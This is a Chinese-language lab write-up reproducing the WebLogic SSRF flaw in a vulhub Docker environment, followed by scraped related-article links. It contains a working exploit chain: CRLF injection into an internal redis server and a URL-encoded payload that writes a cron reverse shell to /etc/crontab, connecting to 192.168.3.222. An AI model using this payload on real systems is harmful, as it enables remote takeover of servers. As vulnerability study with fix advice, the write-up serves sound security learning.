0x00简介

WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

SSRF简介

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。

0x01漏洞概述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

0x02影响范围

weblogic 版本10.0.2

weblogic 版本10.3.6

0x03环境搭建

1. 本次漏洞使用vulhub-master搭建,vulhub-master下载地址:

https://github.com/vulhub/vulhub

2. 下载完成后使用cd /vulhub-master/weblogic/SSRf/进入到目录,然后使用docker-compose up -d //启动实验靶场

3.在浏览器访问http://ip:7001端口,出现以下页面表示搭建成功

0x04漏洞复现

1.在url处访问ip:7001/uddiexplorer/,可查看uddiexplorer应用

2.漏洞位置存在于http://192.168.3.154:7001/uddiexplorer/SearchPublicRegistries.jsp,在表单中随意输入内容使用burp抓包,发送到重放模块

2.1可以看到下图operator参数,参数的值是url,怀疑可能存在SSRF漏洞

2.2测试是否存在SSRF漏洞,在url后跟端口,把url修改为自己搭建的服务器地址,访问开放的7001端口, 会返回一个状态码

2.3访问一个不存在的端口会返回连不上服务器

2.4根据报错的不同,可以进行内网探测。应次漏洞使用docker搭建docker内网172.xx开头此时通过SSRf探测内网中的redis服务器,发现’172.27.0.2:6379’可以连通

3. 通过以上测试可以得知存在SSRF漏洞。注入HTTP头然后利用redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。

发送三条redis命令,将弹shell脚本写入/etc/crontab:set 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.3.222/7778 0>&1\n\n\n\n”

config set dir /etc/

config set dbfilename crontab

save

4. 使用url编码,注意:只对特殊符合进行编码set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.222%2F7778%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A

5.使用burp发送,kali监听1234端口

6.成功反弹shell

0x05修复建议

1. 修复的直接方法是将SearchPublicRegistries.jsp直接删除;

2. 删除uddiexplorer文件夹,限制uddiexplorer应用只能内网访问

参考链接:http://www.mchz.com.cn/cn/service/safety-lab/info_26.aspx?&itemid=2128&ezeip=es515pfuwaihdff3mzwbdg==

weblogic中ssrf漏洞修复_Weblogic-SSRF漏洞复现相关推荐

  1. weblogic中ssrf漏洞修复_WebLogic SSRF 及漏洞修复

    SSRF漏洞,也称为XSPA(跨站端口攻击),问题存在于应用程序在加载用户提供的URL时,没能正确验证服务器的响应,然后就反馈回了客户端.攻击者可以利用该漏洞绕过访问限制(如防火墙),进而将受感染的服 ...

  2. iis+php解析漏洞修复,服务器解析漏洞分析和漏洞修复方法

    摘要:服务器​解析漏洞主要是一些特殊文件被Apache.IIS.Nginx等服务器的Web容器在某种情况下解释成脚本文件格式并得以执行而产生的漏洞.服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在 ...

  3. linux网站漏洞修复,CentOS Bash漏洞终极修复方法

    目前已确认被成功利用的软件及系统:所有安装GNU bash 版本小于或者等于4.3的Linux操作系统. [Bash漏洞描述]该漏洞源于你调用的bash shell之前创建的特殊的环境变量,这些变量可 ...

  4. linux虚拟机漏洞修复,linux幽灵漏洞检测和修复方法

    没想到最近linux的漏洞越来越多了,上一次的bash漏洞没过去多久,又爆出了新的漏洞,名为"幽灵漏洞(GHOST)".当我一看到有新的漏洞时,马上为我所管的服务器都打上了最新补丁 ...

  5. Php如何过360拦截,PHP常见漏洞修复文件-360漏洞修复插件

    主要对常见的漏洞进行拦截,如:SQL注入漏洞.检测POST数据.XSS漏洞防护等,效果非常不错,值得拥有. 1.下载:360漏洞修复插件 2.解压后,上传整个文件夹至服务器根目录 3.if(is_fi ...

  6. rmi反序列化导致rce漏洞修复_JAVA反序列化漏洞解决办法

    一.漏洞描述: 近期,反序列化任意代码执行漏洞持续发酵,越来越多的系统被爆出存在此漏洞.Apache Commons工具集广泛应用于JAVA技术平台,存在Apache Commons Componen ...

  7. rmi反序列化导致rce漏洞修复_RMI反序列化漏洞分析

    原创:Xman21合天智汇 一.RMI简介 首先看一下RMI在wikipedia上的描述: Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Ja ...

  8. linux查看漏洞修复情况,linux 漏洞扫描补丁修复

    亲测5.9 32位-6.5 64位可用,无需删除旧版本ssh 编译安装. 1.建立备用连接.telnet yum install telnet telnet-server vi /etc/xinetd ...

  9. 漏洞修复之 bash漏洞远程命令执行

    系统版本 [root@www bash]# cat /etc/issue Red Hat Enterprise Linux AS release 4 (Nahant Update 8) Kernel ...

  10. shrio反序列漏洞修复_shiro反序列化漏洞

    shrio反序列化漏洞 一.漏洞介绍 Shiro 是 Java 的一个安全框架.Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rem ...

最新文章

  1. 火狐访问HTTPS网站显示连接不安全的解决方法
  2. 由浅入深:自己动手开发模板引擎——置换型模板引擎(一)
  3. 夜深人静,想规划一下短期
  4. java弱引用怎么手动释放,十分钟理解Java中的弱引用,十分钟java引用
  5. 人工智能领域论文常见基本概念笔记
  6. 经典问题之「分支预测」
  7. 信息学奥赛一本通 2055:【例3.5】收费
  8. android view setleft,android – 在新textview上使用setLeft / setRight方法
  9. spring aop 声明式事务管理
  10. php ajax跳转,ajax接口的php文件如何实现跳转
  11. html的柱状图去除右边纵坐标,excel如何把次坐标轴逆序
  12. 《灵飞经》①洪武天下 第四章 灵道石鱼
  13. 厦门大学计算机考研2020分数线,厦门大学2020考研分数线已公布
  14. python能用于unix吗_用Python实现低配的Unix Cron,一个能让程序在计划的时间运行的系统...
  15. Linux自学篇——linux命令英文全称及解释
  16. 笔记本计算机卡,笔记本电脑越来越卡怎么办 不同原因解决方法不同
  17. python三国演义人物出场统计ppt_Python统计三国演义主要人物出场次数
  18. 马丁福勒《重构》读书笔记
  19. 脑电数据处理分析——edf转mat及fft
  20. MySQL · 捉虫动态 · UK 包含 NULL 值备库延迟分析

热门文章

  1. JAVA之编译期和运行期区别
  2. springboot中service层注入的是实现类,但Controller层接收的是接口
  3. 如何安装mysql 匹配_学习笔记----安装MySQL
  4. linux pmap 内存泄露,一个驱动导致的内存泄漏问题的分析过程(meminfo-pmap-slabtop-alloc_calls)...
  5. 面试常见java异常题_Java异常面试题(含答案)
  6. 编写并调试一个单道处理系统的作业调度模拟程序_操作系统系列(2):操作系统发展历史...
  7. python与linux关系_如何处理Linux / Python依赖关系?
  8. pythonmulti函数_python – 用于使用MultiIndex创建pandas系列的语法糖
  9. 打印两个有序链表的公共部分~~
  10. ipython文件每次打开重新运行吗_iPython中的多处理:当我不打开任何文件时打开的文件太多?...